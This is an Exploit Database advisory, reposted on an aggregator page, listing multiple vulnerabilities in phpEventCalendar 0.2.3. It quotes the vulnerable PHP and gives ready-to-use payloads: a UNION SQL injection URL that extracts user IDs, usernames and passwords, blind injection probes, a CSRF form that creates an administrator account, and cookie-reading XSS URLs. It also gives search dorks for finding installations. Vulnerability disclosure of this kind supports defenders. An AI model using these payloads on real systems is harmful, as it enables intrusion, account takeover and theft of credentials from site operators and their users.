phpEventCalendar 0.2.3 – Multiple Vulnerabilities

• Exploit Database
• 125 阅读

• 作者： AtT4CKxT3rR0r1ST
  日期： 2013-06-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/26408/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90

  phpEventCalendar v.0.2.3 Multiple Vulnerabilities ====================================================================   #################################################################### .:. Author : AtT4CKxT3rR0r1ST .:. Contact: [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com] .:. Home : http://www.iphobos.com/blog/ .:. Script : http://www.phpcodeworks.com/pec/downloads .:. Dork : [1]"phpEventGallery by ikemcg at ikemcg.com" [2]"phpEventCalendar by ikemcg at ikemcg.com" ####################################################################   1:SQL INJECTION: (http://www.exploit-db.com/exploits/4135/) ######################################## 1-VULNERABILITY: CLASSIC MYSQL INJECTION ########################################   /eventdisplay.php (LINE: 12-14)   ----------------------------------------------------------------------------- $sql = "SELECT d, m, y FROM " . DB_TABLE_PREFIX . "mssgs WHERE id=" . $id; $result = mysql_query($sql) or die(mysql_error()); $row = mysql_fetch_array($result);   -----------------------------------------------------------------------------   ##################################################### EXPLOIT #####################################################   http://localhost/phpEventCalendar/eventdisplay.php?id=1+and+1=2+union+select+concat(uid,0x3a,username,0x3a,password),2,3+from+pec_users ----------------------------------------------------------------------------- ###################################### 2-VULNERABILITY: BLIND MYSQL INJECTION ######################################   /eventform.php (LINE: 17-23)   ----------------------------------------------------------------------------- mysql_connect(DB_HOST, DB_USER, DB_PASS) or die(mysql_error()); mysql_select_db(DB_NAME) or die(mysql_error());   $sql = "SELECT uid FROM " . DB_TABLE_PREFIX . "mssgs WHERE id = $id";   $result = mysql_query($sql) or die(mysql_error()); $row = mysql_fetch_assoc($result);   -----------------------------------------------------------------------------   ##################################################### EXPLOIT #####################################################   http://localhost/phpEventCalendar/eventform.php?id=1+and+substring(@@version,1,1)=5 << TRUE http://localhost/phpEventCalendar/eventform.php?id=1+and+substring(@@version,1,1)=5 << FALSE -----------------------------------------------------------------------------     2:CSRF[ ADD ADMIN ] ########################################   <form method="POST" name="form0" action=" http://localhost/phpEventCalendar/useradmin.php?flag=insert"> <input type="hidden" name="username" value="ADMIN"/> <input type="hidden" name="pw" value="123456"/> <input type="hidden" name="pwconfirm" value="123456"/> <input type="hidden" name="userlevel" value="2"/> <input type="hidden" name="fname" value="MMMM"/> <input type="hidden" name="lname" value="CCCC"/> <input type="hidden" name="email" value="MYEMAIL@HOTMAIL.COM"/> </form>   </body> </html> -----------------------------------------------------------------------------     3:Multiple Cross-Site Scripting ########################################   http://localhost/phpEventCalendar/eventform.php?id=&apos;"()%26%251<ScRiPt >prompt(document.cookie)<%2fScRiPt> http://localhost/phpEventCalendar/eventdisplay.php?id=&apos;"()%26%251<ScRiPt >prompt(document.cookie)<%2fScRiPt> ####################################################################